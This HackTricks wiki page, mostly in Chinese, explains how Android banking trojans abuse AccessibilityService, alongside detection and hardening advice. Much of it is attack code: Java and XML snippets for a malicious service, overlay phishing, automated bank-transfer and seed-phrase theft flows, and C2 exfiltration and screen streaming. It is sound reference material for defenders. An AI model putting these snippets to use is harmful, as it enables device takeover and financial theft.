Android 无障碍服务滥用

Reading time: 11 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

AccessibilityService 的初衷是帮助有障碍的用户与 Android 设备交互。不幸的是,同样的 powerful automation APIs(全局导航、文本输入、手势分发、覆盖窗口…)可以被恶意软件武器化,从而在 无需 root 权限 的情况下获得对手机的 完全远程控制

现代 Android 银行木马和 Remote-Access-Trojans (RATs),例如 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 等,通常遵循相同的套路:

  1. 社会工程诱导受害者启用一个恶意的无障碍服务(BIND_ACCESSIBILITY_SERVICE permission 被视为“高风险”,需要明确的用户操作)。
  2. 利用该服务来
  • 捕获屏幕上出现的每一个 UI 事件和文本,
  • 注入合成手势(dispatchGesture)和全局操作(performGlobalAction)以自动化操作者想要的任何任务,
  • 使用 TYPE_ACCESSIBILITY_OVERLAY 窗口类型在合法应用之上绘制全屏覆盖(无需 SYSTEM_ALERT_WINDOW 提示!),
  • 代表受害者点击系统对话框,从而静默授予额外的运行时权限。
  1. 在用户看到看似正常的屏幕时,实时外传数据或执行 On-Device-Fraud (ODF)

请求权限

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

配套的 XML 定义了伪对话框的外观:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

远程 UI 自动化 原语

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

仅凭这两个 APIs,攻击者可以:

  • 解锁屏幕,打开银行应用,遍历其 UI 树并提交转账表单。
  • 接受弹出的所有权限对话框。
  • 通过 Play Store intent 安装/更新额外的 APK。

滥用模式

1. Overlay Phishing (Credential Harvesting)

一个透明或不透明的 WebView 被添加到窗口管理器:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

受害者在假表单中输入凭证时,后台应用接收相同的手势——不会显示可疑的“draw over other apps”提示。

详细示例:Accessibility Overlay Phishing 部分,见 Tapjacking 页面。

2. On-Device Fraud automation

恶意软件家族(例如 PlayPraetor)维持一个持久的 WebSocket 通道,操作者可以在其中发出高层命令(init, update, alert_arr, report_list, …)。该服务将这些命令翻译为上面提到的低级手势,实现实时的未授权交易,轻易绕过绑定到该设备的多因素认证。

3. Screen streaming & monitoring

通过将 MediaProjection API 与 RTMP 客户端库结合,RAT 可以将实时 framebuffer 广播到 rtmp://<c2>:1935/live/<device_id>,在 Accessibility 引擎驱动 UI 时为对手提供完整的态势感知。


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – 遍历硬编码列表,直到某个域名以 POST /app/searchPackageName 回应并返回活动 C2。
  2. WebSocket (port 8282) – 双向 JSON 命令:
  • update – 推送新的 conf/APKs
  • alert_arr – 配置 overlay 模板
  • report_list – 发送目标 package 名称列表
  • heartbeat_web – 保持连接
  1. RTMP (port 1935) – 实时屏幕/视频流。
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

本地引擎 AccessibilityService 将这些云端命令转换为物理交互。


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – 查找非来自 Google Play 的应用。
  • MDM / EMM 解决方案可以强制 ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) 来阻止侧载服务。
  • Analyse running services:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • 使用 android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+) 标记敏感视图。
  • setFilterTouchesWhenObscured(true)FLAG_SECURE 结合使用以防止 tap/overlay 劫持。
  • 通过轮询 WindowManager.getDefaultDisplay().getFlags() 或使用 ViewRootImpl API 检测 overlays。
  • Settings.canDrawOverlays() 非受信任的 Accessibility 服务处于活跃状态时拒绝继续操作。

ATS automation cheat-sheet (Accessibility-driven)

恶意软件可以仅使用 Accessibility APIs 完全自动化银行应用。通用原语:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Example flow (Czech → English labels):

  • "Nová platba" (新支付) → 点击
  • "Zadat platbu" (填写支付) → 点击
  • "Nový příjemce" (新收款人) → 点击
  • "Domácí číslo účtu" (国内账户号) → 聚焦并 ACTION_SET_TEXT
  • "Další" (下一步) → 点击 → … "Zaplatit" (支付) → 点击 → 输入 PIN

Fallback: 当因自定义控件导致文本查找失败时,使用硬编码坐标和 dispatchGesture

Also seen: 通过导航到 limits UI 并在转账前提高日限额,先执行到 check_limitlimit 的预步骤。

基于文本的伪屏幕流

为了低延迟远程控制,与其进行完整的视频流,不如将当前 UI 树的文本表示导出并反复发送给 C2。

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

这是像 txt_screen(一次性)和 screen_live(持续)等命令的基础。

Device Admin 胁迫原语

一旦 Device Admin receiver 被激活,这些调用会增加捕获凭证并维持控制的机会:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

注意:这些策略的具体可用性因 Android 版本和 OEM 而异;在测试期间请验证设备策略角色(admin vs owner)。

加密钱包助记词提取模式

观察到适用于 MetaMask, Trust Wallet, Blockchain.com 和 Phantom 的流程:

  • 使用被窃取的 PIN(通过 overlay/Accessibility 捕获)或用户提供的钱包密码解锁。
  • 导航:Settings → Security/Recovery → Reveal/Show recovery phrase。
  • 通过对文本节点进行 keylogging、绕过 secure-screen,或在文本被遮挡时进行截图 OCR 来收集助记词。
  • 支持多种语言环境(EN/RU/CZ/SK)以稳定选择器 —— 优先使用 viewIdResourceName(如果可用),否则回退到多语言文本匹配。

NFC-relay orchestration

Accessibility/RAT 模块可以作为第三阶段安装并启动专用的 NFC-relay 应用(例如 NFSkate),甚至注入一个 overlay 指南,引导受害者完成带卡在场的中继步骤。

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks